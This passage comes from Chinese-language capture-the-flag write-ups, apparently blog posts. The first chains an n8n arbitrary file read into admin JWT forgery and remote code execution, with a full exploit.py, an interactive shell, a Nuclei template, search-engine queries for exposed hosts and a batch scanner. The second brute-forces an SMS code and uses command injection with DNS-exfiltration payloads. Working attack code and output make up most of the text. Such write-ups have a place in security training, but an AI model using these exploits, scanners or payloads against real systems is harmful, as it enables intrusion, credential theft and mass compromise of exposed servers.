192 headers: {{'Content-Type': 'application/json'}},
193 body: JSON.stringify({{
194 data: {{}},
195 files: {{
196 test: {{
197 filepath: '/etc/hostname',
198 originalFilename: 'test.txt',
199 mimetype: 'text/plain',
200 size: 100
201 }}
202 }}
203 }})
204 }})
205 .then(r => r.text())
206 .then(console.log);""")
207 
208 print(f"\n # 或使用 curl:")
209 print(f""" curl -X POST '{webhook_url}' \\
210 -H 'Content-Type: application/json' \\
211 -d '{{"data":{{}}, "files":{{"test":{{"filepath":"/etc/hostname","originalFilename":"test.txt","mimetype":"text/plain","size":100}}}}}}'""")
212 
213 print(f"\n🎯 完整利用链:")
214 print(f" 1. 读取配置: /root/.n8n/config 或 /home/node/.n8n/config")
215 print(f" 2. 读取数据库: /root/.n8n/database.sqlite")
216 print(f" 3. 伪造JWT令牌")
217 print(f" 4. 登录管理后台")
218 print(f" 5. 创建RCE工作流")
219 
220 print("\n" + "="*70 + "\n")
221
222def main():
223 parser = argparse.ArgumentParser(
224 description='CVE-2026-21858 漏洞工作流部署脚本',
225 formatter_class=argparse.RawDescriptionHelpFormatter,
226 epilog="""
227示例:
228 python3 deploy_vuln_workflow.py http://target-ip:5678 admin@exploit.local password123
229 python3 deploy_vuln_workflow.py https://n8n.example.com admin@example.com MyP@ssw0rd
230 """
231 )
232 
233 parser.add_argument('url', help='n8n实例URL (例: http://localhost:5678)')
234 parser.add_argument('email', help='管理员邮箱')
235 parser.add_argument('password', help='管理员密码')
236 
237 args = parser.parse_args()
238 
239 # 清理URL
240 base_url = args.url.rstrip('/')
241 
242 print("="*70)
243 print("CVE-2026-21858 漏洞工作流部署工具")
244 print("="*70)
245 print(f"目标: {base_url}")
246 print(f"账号: {args.email}")
247 print()
248 
249 # 登录
250 session = login_n8n(base_url, args.email, args.password)
251 if not session:
252 print("\n[✗] 部署失败: 无法登录")
253 sys.exit(1)
254 
255 # 部署工作流
256 workflow_id = deploy_workflow(session, base_url)
257 if not workflow_id:
258 print("\n[✗] 部署失败: 无法创建工作流")
259 sys.exit(1)
260 
261 # 打印使用说明
262 print_usage_instructions(base_url, workflow_id)
263 
264 sys.exit(0)
265
266if __name__ == "__main__":
267 main()

然后运行，这里的模仿的是n8n的真实用户在使用过程中“不小心”的“恰好”创建了这样的一个工作流的节点。

1python .\n8n_vuln_workflow.py http://target-ip:5678 111@111.com passwd

这个节点是激活状态，而且是file配置。

点击 http://8vccf5j.haobachang.loveli.com.cn:8888/form/vulnerable-form 打开可以看到文件上传的显示。这一步在实际渗透过程中是不需要用户登录的，任意用户都看得到这个界面，也就是任意读取，它可以让未授权的用户读到敏感文件。实际的CVE-2026-21858利用过程是从这里开始的，现在忘了之前设置的密码吧，假装你不知道登录密码。

CVE-2025-68613 漏洞虽然可以RCE，但是前提条件是知道n8n系统的登录密码，而且这个账户还需要有节点编辑权限。也就是必须登录到下图这样节点编辑的界面才能成功执行，如果不知道账户密码，或者登录的账户没有节点编辑权限的话就没办法，只能干瞪眼。这时候CVE-2026-2185来了，这个漏洞可以在不登陆的情况下，获得系统一些敏感文件的读取权限，从而访问比如 /etc/passwd 这样的文件获得密码。从而实现完整的攻击链条。

按F12打开控制台Console输入如下内容

 1fetch('http://target-ip:5678/form/vulnerable-form', {
 2 method: 'POST',
 3 headers: {'Content-Type': 'application/json'},
 4 body: JSON.stringify({
 5 data: {},
 6 files: {
 7 test: {
 8 filepath: '/etc/passwd',
 9 originalFilename: 'test.txt',
10 mimetype: 'text/plain',
11 size: 100
12 }
13 }
14 })
15})
16.then(r => r.text())
17.then(console.log)

确认任意文件读取漏洞存在，然后读取计算jwt所需的文件。

 1// 1. 读取环境变量获取HOME目录
 2fetch('http://target-ip:5678/form/vulnerable-form', {
 3 method: 'POST',
 4 headers: {'Content-Type': 'application/json'},
 5 body: JSON.stringify({
 6 data: {},
 7 files: {
 8 test: {
 9 filepath: '/proc/self/environ',
10 originalFilename: 'environ.txt',
11 mimetype: 'text/plain',
12 size: 1000
13 }
14 }
15 })
16})
17.then(r => r.text())
18.then(data => {
19 console.log('环境变量:', data);
20 // 从输出中找到 HOME=/home/node 或 HOME=/root
21});
22
23// 可能的配置文件路径
24const configPaths = [
25 '/home/node/.n8n/config',
26 '/root/.n8n/config',
27 '/.n8n/config'
28];
29
30// 尝试读取配置
31async function readConfig() {
32 for (const path of configPaths) {
33 try {
34 const response = await fetch('http://target-ip:5678/form/vulnerable-form', {
35 method: 'POST',
36 headers: {'Content-Type': 'application/json'},
37 body: JSON.stringify({
38 data: {},
39 files: {
40 config: {
41 filepath: path,
42 originalFilename: 'config.json',
43 mimetype: 'application/json',
44 size: 10000
45 }
46 }
47 })
48 });
49 
50 const text = await response.text();
51 if (!text.includes('error') && !text.includes('could not be started')) {
52 console.log(`成功读取 ${path}:`, text);
53 return text;
54 }
55 } catch (e) {
56 console.log(`读取 ${path} 失败:`, e);
57 }
58 }
59}
60
61readConfig();
62
63// 方法1: 尝试以文本形式读取（SQLite有些部分是可读文本）
64fetch('http://target-ip:5678/form/vulnerable-form', {
65 method: 'POST',
66 headers: {'Content-Type': 'application/json'},
67 body: JSON.stringify({
68 data: {},
69 files: {
70 db: {
71 filepath: '/root/.n8n/database.sqlite',
72 originalFilename: 'database.txt',
73 mimetype: 'text/plain', // 改为text/plain
74 size: 500000
75 }
76 }
77 })
78})
79.then(r => r.text())
80.then(data => {
81 console.log('数据库内容（可能是二进制+文本混合）:', data);
82 
83 // 尝试提取邮箱地址（通常是可读文本）
84 const emailMatches = data.match(/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/g);
85 console.log('找到的邮箱:', emailMatches);
86 
87 // 尝试提取bcrypt密码哈希
88 const bcryptMatches = data.match(/\$2[aby]\$\d{2}\$[./A-Za-z0-9]{53}/g);
89 console.log('找到的密码哈希:', bcryptMatches);
90 
91 // 尝试提取UUID（用户ID）
92 const uuidMatches = data.match(/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/gi);
93 console.log('找到的UUID:', uuidMatches);
94});

得到

环境变量: COOKIE_VALUE=b9353203-81b6-420b-b662-8c027e1627e0
成功读取 /root/.n8n/config: {
	"encryptionKey": "FTOwCm2ruG3b/upNMf9yvqn0d+W8TXKW"
}
找到的邮箱: (3) ['111@111.com', '%1f0d5d68-4447-4e62-b461-57c0c751e11c111@111.com', '111@111.com']
VM84:27 找到的密码哈希: ['$2a$10$Xim.XqxLEYGpP7JIAwIkouq4PYcG1DE5IqEFlxPjCXQJoAdmsHkt6']
VM84:31 找到的UUID: (7) ['89f3a667-194f-455c-a277-b30c9bc612d0', '717686a5-c248-45d7-ad21-f6f4a9ed2f38', '1f0d5d68-4447-4e62-b461-57c0c751e11c', '1f0d5d68-4447-4e62-b461-57c0c751e11c', '1f0d5d68-4447-4e62-b461-57c0c751e11c', '1f0d5d68-4447-4e62-b461-57c0c751e11c', '1f0d5d68-4447-4e62-b461-57c0c751e11c']

提取到的关键信息

encryptionKey: FTOwCm2ruG3b/upNMf9yvqn0d+W8TXKW
userId: 1f0d5d68-4447-4e62-b461-57c0c751e11c (出现5次，明显是管理员)
email: 111@111.com
passwordHash: $2a$10$Xim.XqxLEYGpP7JIAwIkouq4PYcG1DE5IqEFlxPjCXQJoAdmsHkt6

方法一：使用浏览器完成JWT伪造（纯手动）

在浏览器控制台运行以下代码：

 1// 第1步：加载crypto-js库
 2const script = document.createElement('script');
 3script.src = 'https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js';
 4document.head.appendChild(script);
 5
 6// 第2步：等待3秒后运行JWT生成代码
 7setTimeout(() => {
 8 // 已知信息
 9 const encryptionKey = "FTOwCm2ruG3b/upNMf9yvqn0d+W8TXKW";
10 const userId = "1f0d5d68-4447-4e62-b461-57c0c751e11c";
11 const email = "111@111.com";
12 const passwordHash = "$2a$10$Xim.XqxLEYGpP7JIAwIkouq4PYcG1DE5IqEFlxPjCXQJoAdmsHkt6";
13 
14 // 派生JWT secret（取偶数位字符）
15 let extracted = '';
16 for (let i = 0; i < encryptionKey.length; i += 2) {
17 extracted += encryptionKey[i];
18 }
19 const jwtSecret = CryptoJS.SHA256(extracted).toString();
20 console.log('🔑 JWT Secret:', jwtSecret);
21 
22 // 计算JWT hash
23 const combined = email + ':' + passwordHash;
24 const sha256Hash = CryptoJS.SHA256(combined);
25 const base64Hash = sha256Hash.toString(CryptoJS.enc.Base64);
26 const jwtHash = base64Hash.substring(0, 10);
27 console.log('🔐 JWT Hash:', jwtHash);
28 
29 // 构造JWT Header和Payload
30 const header = {alg: "HS256", typ: "JWT"};
31 const payload = {id: userId, hash: jwtHash};
32 
33 // Base64URL编码
34 const base64urlEncode = (obj) => {
35 return btoa(JSON.stringify(obj))
36 .replace(/\+/g, '-')
37 .replace(/\//g, '_')
38 .replace(/=/g, '');
39 };
40 
41 const headerB64 = base64urlEncode(header);
42 const payloadB64 = base64urlEncode(payload);
43 
44 // 计算签名
45 const message = headerB64 + '.' + payloadB64;
46 const signature = CryptoJS.HmacSHA256(message, jwtSecret)
47 .toString(CryptoJS.enc.Base64)
48 .replace(/\+/g, '-')
49 .replace(/\//g, '_')
50 .replace(/=/g, '');
51 
52 // 完整JWT
53 const token = message + '.' + signature;
54 console.log('✅ JWT Token:', token);
55 
56 // 设置Cookie，IP改成靶机的IP
57 document.cookie = `n8n-auth=${token}; path=/; domain=target-ip`; 
58 console.log('🍪 Cookie已设置！');
59 console.log('📍 现在访问: http://target-ip:5678/');
60 
61 // 自动跳转
62 setTimeout(() => {
63 window.location.href = 'http://target-ip:5678/';
64 }, 1000);
65 
66}, 3000);

自动跳转，直接就进来了，不用输入密码登录。然后就可以用之前CVE-2025-68613的方法了。

脚本化利用

一键全自动脚本exploit.py

 1#!/usr/bin/env python3
 2"""
 3CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain Exploit
 4Arbitrary File Read → Admin Token Forge → Sandbox Bypass → RCE
 5
 6Author: Chocapikk
 7GitHub: https://github.com/Chocapikk/CVE-2026-21858
 8"""
 9
 10import argparse
 11import hashlib
 12import json
 13import secrets
 14import sqlite3
 15import string
 16import tempfile
 17from base64 import b64encode
 18
 19import jwt
 20import requests
 21from pwn import log
 22
 23BANNER = """
 24╔═══════════════════════════════════════════════════════════════╗
 25║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║
 26║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
 27║ ║
 28║ by Chocapikk ║
 29╚═══════════════════════════════════════════════════════════════╝
 30"""
 31
 32RCE_PAYLOAD = '={{ (function() { var require = this.process.mainModule.require; var execSync = require("child_process").execSync; return execSync("CMD").toString(); })() }}'
 33
 34
 35def randstr(n: int = 12) -> str:
 36 return "".join(secrets.choice(string.ascii_lowercase + string.digits) for _ in range(n))
 37
 38
 39def randpos() -> list[int]:
 40 return [secrets.randbelow(500) + 100, secrets.randbelow(500) + 100]
 41
 42
 43class Ni8mare:
 44 def __init__(self, base_url: str, form_path: str):
 45 self.base_url = base_url.rstrip("/")
 46 self.form_url = f"{self.base_url}/{form_path.lstrip('/')}"
 47 self.session = requests.Session()
 48 self.admin_token = None
 49
 50 def _api(self, method: str, path: str, **kwargs) -> requests.Response | None:
 51 kwargs.setdefault("timeout", 30)
 52 kwargs.setdefault("cookies", {"n8n-auth": self.admin_token} if self.admin_token else {})
 53 resp = self.session.request(method, f"{self.base_url}{path}", **kwargs)
 54 return resp if resp.ok else None
 55
 56 def _lfi_payload(self, filepath: str) -> dict:
 57 return {
 58 "data": {},
 59 "files": {
 60 f"f-{randstr(6)}": {
 61 "filepath": filepath,
 62 "originalFilename": f"{randstr(8)}.bin",
 63 "mimetype": "application/octet-stream",
 64 "size": secrets.randbelow(90000) + 10000
 65 }
 66 }
 67 }
 68
 69 def _build_nodes(self, command: str) -> tuple[list, dict, str, str]:
 70 trigger_name, rce_name = f"T-{randstr(8)}", f"R-{randstr(8)}"
 71 result_var = f"v{randstr(6)}"
 72 payload_value = RCE_PAYLOAD.replace("CMD", command.replace('"', '\\"'))
 73 nodes = [
 74 {"parameters": {}, "name": trigger_name, "type": "n8n-nodes-base.manualTrigger",
 75 "typeVersion": 1, "position": randpos(), "id": f"t-{randstr(12)}"},
 76 {"parameters": {"values": {"string": [{"name": result_var, "value": payload_value}]}},
 77 "name": rce_name, "type": "n8n-nodes-base.set", "typeVersion": 2,
 78 "position": randpos(), "id": f"r-{randstr(12)}"}
 79 ]
 80 connections = {trigger_name: {"main": [[{"node": rce_name, "type": "main", "index": 0}]]}}
 81 return nodes, connections, trigger_name, rce_name
 82
 83 # ========== Arbitrary File Read (CVE-2026-21858) ==========
 84
 85 def read_file(self, filepath: str, timeout: int = 30) -> bytes | None:
 86 resp = self.session.post(
 87 self.form_url, json=self._lfi_payload(filepath),
 88 headers={"Content-Type": "application/json"}, timeout=timeout
 89 )
 90 return resp.content if resp.ok and resp.content else None
 91
 92 def get_version(self) -> tuple[str, bool]:
 93 resp = self._api("GET", "/rest/settings", timeout=10)
 94 version = resp.json().get("data", {}).get("versionCli", "0.0.0") if resp else "0.0.0"
 95 major, minor = map(int, version.split(".")[:2])
 96 return version, major < 1 or (major == 1 and minor < 121)
 97
 98 def get_home(self) -> str | None:
 99 data = self.read_file("/proc/self/environ")
100 if not data:
101 return None
102 for var in data.split(b"\x00"):
103 if var.startswith(b"HOME="):
104 return var.decode().split("=", 1)[1]
105 return None
106
107 def get_key(self, home: str) -> str | None:
108 data = self.read_file(f"{home}/.n8n/config")
109 return json.loads(data).get("encryptionKey") if data else None
110
111 def get_db(self, home: str) -> bytes | None:
112 return self.read_file(f"{home}/.n8n/database.sqlite", timeout=120)
113
114 def extract_admin(self, db: bytes) -> tuple[str, str, str] | None:
115 with tempfile.NamedTemporaryFile(suffix=".db") as f:
116 f.write(db)
117 f.flush()
118 conn = sqlite3.connect(f.name)
119 row = conn.execute("SELECT id, email, password FROM user WHERE role='global:owner' LIMIT 1").fetchone()
120 conn.close()
121 return (row[0], row[1], row[2]) if row else None
122
123 def forge_token(self, key: str, uid: str, email: str, pw_hash: str) -> str:
124 secret = hashlib.sha256(key[::2].encode()).hexdigest()
125 h = b64encode(hashlib.sha256(f"{email}:{pw_hash}".encode()).digest()).decode()[:10]
126 self.admin_token = jwt.encode({"id": uid, "hash": h}, secret, "HS256")
127 return self.admin_token
128
129 def verify_token(self) -> bool:
130 return self._api("GET", "/rest/users", timeout=10) is not None
131
132 # ========== RCE (CVE-2025-68613) ==========
133
134 def rce(self, command: str) -> str | None:
135 nodes, connections, _, _ = self._build_nodes(command)
136 wf_name = f"wf-{randstr(16)}"
137 workflow = {"name": wf_name, "active": False, "nodes": nodes,
138 "connections": connections, "settings": {}}
139
140 resp = self._api("POST", "/rest/workflows", json=workflow, timeout=10)
141 if not resp:
142 return None
143 wf_id = resp.json().get("data", {}).get("id")
144 if not wf_id:
145 return None
146
147 run_data = {"workflowData": {"id": wf_id, "name": wf_name, "active": False,
148 "nodes": nodes, "connections": connections, "settings": {}}}
149 resp = self._api("POST", f"/rest/workflows/{wf_id}/run", json=run_data, timeout=30)
150 if not resp:
151 self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
152 return None
153
154 exec_id = resp.json().get("data", {}).get("executionId")
155 result = self._get_result(exec_id) if exec_id else None
156 self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
157 return result
158
159 def _get_result(self, exec_id: str) -> str | None:
160 resp = self._api("GET", f"/rest/executions/{exec_id}", timeout=10)
161 if not resp:
162 return None
163 data = resp.json().get("data", {}).get("data")
164 if not data:
165 return None
166 parsed = json.loads(data)
167 # Result is usually the last non-empty string
168 for item in reversed(parsed):
169 if isinstance(item, str) and len(item) > 3 and item not in ("success", "error"):
170 return item.strip()
171 return None
172
173 # ========== Full Chain ==========
174
175 def pwn(self) -> bool:
176 p = log.progress("HOME directory")
177 home = self.get_home()
178 if not home:
179 return p.failure("Not found") or False
180 p.success(home)
181
182 p = log.progress("Encryption key")
183 key = self.get_key(home)
184 if not key:
185 return p.failure("Failed") or False
186 p.success(f"{key[:8]}...")
187
188 p = log.progress("Database")
189 db = self.get_db(home)
190 if not db:
191 return p.failure("Failed") or False
192 p.success(f"{len(db)} bytes")
193
194 p = log.progress("Admin user")
195 admin = self.extract_admin(db)
196 if not admin:
197 return p.failure("Not found") or False
198 uid, email, pw = admin
199 p.success(email)
200
201 p = log.progress("Token forge")
202 self.forge_token(key, uid, email, pw)
203 p.success("OK")
204
205 p = log.progress("Admin access")
206 if not self.verify_token():
207 return p.failure("Rejected") or False
208 p.success("GRANTED!")
209
210 log.success(f"Cookie: n8n-auth={self.admin_token}")
211 return True
212
213
214def parse_args():
215 p = argparse.ArgumentParser(description="n8n Ni8mare - Full Chain Exploit")
216 p.add_argument("url", help="Target URL (http://target:5678)")
217 p.add_argument("form", help="Form path (/form/upload)")
218 p.add_argument("--read", metavar="PATH", help="Read arbitrary file")
219 p.add_argument("--cmd", metavar="CMD", help="Execute single command")
220 p.add_argument("-o", "--output", metavar="FILE", help="Save LFI output to file")
221 return p.parse_args()
222
223
224def run_read(exploit: Ni8mare, path: str, output: str | None) -> None:
225 data = exploit.read_file(path)
226 if not data:
227 log.error("File read failed")
228 return
229 log.success(f"{len(data)} bytes")
230 if output:
231 with open(output, "wb") as f:
232 f.write(data)
233 log.success(f"Saved: {output}")
234 return
235 print(data.decode())
236
237
238def run_cmd(exploit: Ni8mare, cmd: str) -> None:
239 p = log.progress("RCE")
240 out = exploit.rce(cmd)
241 if not out:
242 p.failure("Failed")
243 return
244 p.success("OK")
245 print(f"\n{out}")
246
247
248def run_shell(exploit: Ni8mare) -> None:
249 log.info("Interactive mode (type 'exit' to quit)")
250 while True:
251 try:
252 cmd = input("\033[91mn8n\033[0m> ").strip()
253 except (EOFError, KeyboardInterrupt):
254 print()
255 return
256 if not cmd or cmd == "exit":
257 return
258 out = exploit.rce(cmd)
259 if out:
260 print(out)
261
262
263def main():
264 print(BANNER)
265 args = parse_args()
266
267 exploit = Ni8mare(args.url, args.form)
268 version, vuln = exploit.get_version()
269 log.info(f"Target: {exploit.form_url}")
270 log.info(f"Version: {version} ({'VULN' if vuln else 'SAFE'})")
271
272 if args.read:
273 run_read(exploit, args.read, args.output)
274 return
275
276 if not exploit.pwn():
277 return
278
279 if args.cmd:
280 run_cmd(exploit, args.cmd)
281 return
282
283 run_shell(exploit)
284
285
286if __name__ == "__main__":
287 main()

flag{3b0788b1fb424583ad8bdebd080fd843}

搜索语法

n8n 平台远程代码执行漏洞（CVE-2025-68613）ZoomEye搜索app=“n8n” https://www.zoomeye.org/searchResult?q=YXBwPSJuOG4i hunter搜索语法

web.icon=="8ad475e8b10ff8bcff648ae6d49c88ae"
web.icon="8ad475e8b10ff8bcff648ae6d49c88ae"&&icp.number!==""&&icp.name!="公司"&&icp.name!="工作室"&&icp.type!="个人"

Nuclei模板

 1id: CVE-2026-21858-lfi-fixed
 2
 3info:
 4 name: n8n Arbitrary File Read (CVE-2026-21858) - Active Check
 5 author: customized
 6 severity: critical
 7 description: |
 8 Proves CVE-2026-21858 by reading /etc/passwd via n8n vulnerable form trigger.
 9 tags: cve,cve2026,n8n,lfi
10
11requests:
12 - method: POST
13 path:
14 - "{{BaseURL}}/form/vulnerable-form"
15 - "{{BaseURL}}/webhook/vulnerable-form"
16 - "{{BaseURL}}/form/upload"
17 - "{{BaseURL}}/webhook/upload"
18 # 如果你知道其他特定路径，可以在这里添加
19
20 headers:
21 Content-Type: "application/json"
22
23 # 这里的 JSON 必须是压缩的一行，严格模仿 Python 脚本的 Payload
24 body: '{"data":{},"files":{"check_vuln":{"filepath":"/etc/passwd","originalFilename":"check.bin","mimetype":"application/octet-stream","size":1024}}}'
25
26 matchers-condition: and
27 matchers:
28 - type: regex
29 part: body
30 regex:
31 - "root:.*:0:0:"
32
33 - type: status
34 status:
35 - 200

把上面的代码保存为CVE-2026-21858-lfi.yaml文件，然后执行如下命令。

1nuclei -u http://8vccf5j.haobachang.loveli.com.cn:8888/ -t CVE-2026-21858-lfi.yaml

批量测试脚本

scan_n8n.py内容如下

 1#!/usr/bin/env python3
 2import requests
 3import argparse
 4import urllib3
 5import concurrent.futures
 6from urllib.parse import urljoin
 7import sys
 8
 9# 禁用 SSL 警告
 10urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 11
 12# 颜色代码
 13GREEN = "\033[92m"
 14RED = "\033[91m"
 15YELLOW = "\033[93m"
 16RESET = "\033[0m"
 17
 18def get_lfi_payload(filepath="/etc/passwd"):
 19 """构造恶意 JSON Payload"""
 20 return {
 21 "data": {},
 22 "files": {
 23 "check_vuln": {
 24 "filepath": filepath,
 25 "originalFilename": "test.bin",
 26 "mimetype": "application/octet-stream",
 27 "size": 1024
 28 }
 29 }
 30 }
 31
 32def check_vulnerability(target_url, form_path):
 33 """检测单个目标"""
 34 # 确保 URL 格式正确
 35 if not target_url.startswith("http"):
 36 target_url = f"http://{target_url}"
 37 
 38 full_url = urljoin(target_url, form_path)
 39 
 40 try:
 41 # 发送 LFI 请求
 42 response = requests.post(
 43 full_url,
 44 json=get_lfi_payload(),
 45 headers={"Content-Type": "application/json"},
 46 timeout=10,
 47 verify=False
 48 )
 49 
 50 # 检查 /etc/passwd 的特征字符
 51 if response.status_code == 200 and "root:x:0:0" in response.text:
 52 print(f"[{GREEN}VULN{RESET}] {full_url} - Successfully read /etc/passwd")
 53 return full_url
 54 elif response.status_code == 404:
 55 # 这里的 404 可能意味着 Form ID 不对，而不是 n8n 不存在
 56 print(f"[{YELLOW}WARN{RESET}] {full_url} - Form endpoint not found (404)")
 57 else:
 58 print(f"[{RED}FAIL{RESET}] {full_url} - Not vulnerable or unknown response (Code: {response.status_code})")
 59 
 60 except requests.exceptions.RequestException as e:
 61 print(f"[{RED}ERR {RESET}] {target_url} - Connection failed: {str(e)[:50]}")
 62 
 63 return None
 64
 65def main():
 66 parser = argparse.ArgumentParser(description="Batch Scanner for CVE-2026-21858 (n8n LFI)")
 67 parser.add_argument("-f", "--file", help="File containing list of target URLs", required=True)
 68 parser.add_argument("-p", "--path", help="Form path to test (default: /form/vulnerable-form)", default="/form/vulnerable-form")
 69 parser.add_argument("-t", "--threads", help="Number of threads", type=int, default=10)
 70 parser.add_argument("-o", "--output", help="File to save vulnerable URLs", default="vuln_hosts.txt")
 71 
 72 args = parser.parse_args()
 73 
 74 targets = []
 75 try:
 76 with open(args.file, "r") as f:
 77 targets = [line.strip() for line in f if line.strip()]
 78 except FileNotFoundError:
 79 print(f"Error: File {args.file} not found.")
 80 sys.exit(1)
 81
 82 print(f"[*] Loaded {len(targets)} targets.")
 83 print(f"[*] Testing Form Path: {args.path}")
 84 print("[*] Starting scan...\n")
 85
 86 vulnerable_hosts = []
 87
 88 # 多线程扫描
 89 with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
 90 futures = {executor.submit(check_vulnerability, url, args.path): url for url in targets}
 91 
 92 for future in concurrent.futures.as_completed(futures):
 93 result = future.result()
 94 if result:
 95 vulnerable_hosts.append(result)
 96
 97 # 保存结果
 98 if vulnerable_hosts:
 99 with open(args.output, "w") as f:
100 for url in vulnerable_hosts:
101 f.write(url + "\n")
102 print(f"\n[{GREEN}SUCCESS{RESET}] Found {len(vulnerable_hosts)} vulnerable hosts. Saved to {args.output}")
103 else:
104 print(f"\n[{RED}FINISHED{RESET}] No vulnerable hosts found.")
105
106if __name__ == "__main__":
107 main()

准备一个 target.txt，每行一个 http://ip:port。

1python .\scan_n8n.py -f .\target.txt -t 20

🔗 参考资源

🔔 想要获取更多网络安全与编程技术干货？

关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻

马上加入我们，共同成长！🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词，获取更多技术资料与书单推荐！📚

好靶场-小王采购了一个发送验证码的工具-WP

Mon, 05 Jan 2026 20:56:02 +0800

关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。

学安全，别只看书上手练，就来好靶场，本WP靶场已开放，欢迎体验：

🔗 入口：http://www.loveli.com.cn/see_bug_one?id=571

✅ 邀请码：48ffd1d7eba24bf4

🎁 填写即领 7 天高级会员，解锁更多漏洞实战环境！快来一起实战吧！👇

漏洞发现过程

1. 初步分析

访问目标网站，发现是一个短信验证码登录页面。页面有两个主要接口：

/send - 发送验证码
/login - 验证登录

Question

检查这个网页的代码有没有漏洞，这是个靶机，如果有告诉我利用方式和脚本

分析这个登录页面的代码，我发现了几个潜在的安全漏洞：

查看前端代码，发现验证码只有4位数字，存在明显的暴力破解漏洞。

2. 验证码爆破

编写Python脚本进行验证码爆破：

 1import requests
 2import time
 3
 4BASE_URL = "http://iuuga86.haobachang.loveli.com.cn:8888"
 5
 6def send_code(phone):
 7 requests.post(f"{BASE_URL}/send", json={"phone": phone})
 8
 9def brute_force_code(phone):
10 send_code(phone)
11 time.sleep(2)
12 
13 for code_num in range(10000):
14 code = f"{code_num:04d}"
15 resp = requests.post(
16 f"{BASE_URL}/login",
17 json={"phone": phone, "code": code}
18 )
19 result = resp.json()
20 
21 if result.get('success'):
22 print(f"[+] 验证码: {code}")
23 return code
24 
25 if code_num % 100 == 0:
26 print(f"[*] 进度: {code_num}/10000", end='\r')
27
28brute_force_code("18888888888")

成功爆破出验证码 2898，但登录后提示：“恭喜登录成功了，但是登录成功了也没有Flag”。

玩呢？啊？

3. 命令注入测试

结合题目提示"采购的工具"和"短信验证码"标签，怀疑后端可能直接将手机号参数拼接到系统命令中。

测试Sleep命令注入：

 1import requests
 2import time
 3
 4BASE_URL = "http://iuuga86.haobachang.loveli.com.cn:8888"
 5
 6# 测试sleep命令
 7start = time.time()
 8resp = requests.post(
 9 f"{BASE_URL}/send",
10 json={"phone": "18888888888; sleep 5"}
11)
12elapsed = time.time() - start
13
14print(f"响应时间: {elapsed:.2f}秒")

发现Burp里面修改手机号后面加sleep命令，网页确实等待了5秒后才响应。

结果：响应时间约5秒，确认存在命令注入漏洞！

使用Burp Suite手动测试：

1POST /send HTTP/1.1
2Host: iuuga86.haobachang.loveli.com.cn:8888
3Content-Type: application/json
4
5{"phone":"18888888888; sleep 5"}

响应时间明显延迟5秒，证实了命令注入漏洞的存在。

4. 尝试外带数据（失败）

由于命令执行结果不会回显到HTTP响应中，这是典型的盲命令注入。首先尝试使用DNS外带数据。

DNSLog外带尝试：

访问 http://dnslog.cn 获取临时域名：g7nqkk.dnslog.cn
测试网络连通性：

1POST /send HTTP/1.1
2Host: iuuga86.haobachang.loveli.com.cn:8888
3Content-Type: application/json
4
5{"phone":"18888888888; ping -c 1 g7nqkk.dnslog.cn"}

尝试外带flag：

1{"phone":"18888888888; curl `cat /flag`.g7nqkk.dnslog.cn"}
2{"phone":"18888888888; ping -c 1 `cat /flag`.g7nqkk.dnslog.cn"}
3{"phone":"18888888888; nslookup `cat /flag`.g7nqkk.dnslog.cn"}

结果：DNSLog没有收到任何记录，说明靶机无法访问外网或DNS被限制。 放轻松，DNS弹不出来是正常的。

5. 探测Web目录结构

既然外带不通，尝试将命令执行结果写入到web可访问的目录中。

探测当前工作目录：

 1import requests
 2import time
 3
 4BASE_URL = "http://iuuga86.haobachang.loveli.com.cn:8888"
 5
 6print("[*] 目标: 将 /tmp/flag.txt 写入到web可访问目录\n")
 7
 8# 首先找出当前工作目录
 9print("[*] 步骤1: 探测当前工作目录...")
 10probe_commands = [
 11 "pwd > /tmp/pwd.txt",
 12 "ls -la > /tmp/ls.txt",
 13 "echo $(pwd) > /tmp/path.txt",
 14]
 15
 16for cmd in probe_commands:
 17 payload = f"18888888888; {cmd}"
 18 requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
 19 time.sleep(0.3)
 20
 21# 尝试多种路径写入1.txt
 22print("\n[*] 步骤2: 尝试将flag写入到1.txt...")
 23
 24write_commands = [
 25 # 直接写到当前目录
 26 "cat /tmp/flag.txt > 1.txt",
 27 "cat /tmp/flag.txt > ./1.txt",
 28 "cp /tmp/flag.txt 1.txt",
 29 "cp /tmp/flag.txt ./1.txt",
 30 
 31 # 写到可能的web根目录
 32 "cat /tmp/flag.txt > /app/1.txt",
 33 "cat /tmp/flag.txt > /app/static/1.txt",
 34 "cat /tmp/flag.txt > ./static/1.txt",
 35 "cat /tmp/flag.txt > static/1.txt",
 36 
 37 # 尝试templates目录
 38 "cat /tmp/flag.txt > /app/templates/1.txt",
 39 "cat /tmp/flag.txt > ./templates/1.txt",
 40 "cat /tmp/flag.txt > templates/1.txt",
 41]
 42
 43for cmd in write_commands:
 44 payload = f"18888888888; {cmd}"
 45 try:
 46 requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
 47 print(f" ✓ 执行: {cmd}")
 48 time.sleep(0.3)
 49 except:
 50 print(f" ✗ 失败: {cmd}")
 51
 52# 尝试访问所有可能的路径
 53print("\n[*] 步骤3: 尝试访问1.txt...")
 54
 55possible_paths = [
 56 "/1.txt",
 57 "/static/1.txt",
 58 "/templates/1.txt",
 59 "/app/1.txt",
 60 "/app/static/1.txt",
 61 "/app/templates/1.txt",
 62]
 63
 64flag_found = False
 65
 66for path in possible_paths:
 67 try:
 68 resp = requests.get(f"{BASE_URL}{path}", timeout=3)
 69 if resp.status_code == 200 and len(resp.content) > 0:
 70 print(f"\n{'='*60}")
 71 print(f"[!!!] 成功找到: {BASE_URL}{path}")
 72 print(f"{'='*60}")
 73 print(f"FLAG内容: {resp.text}")
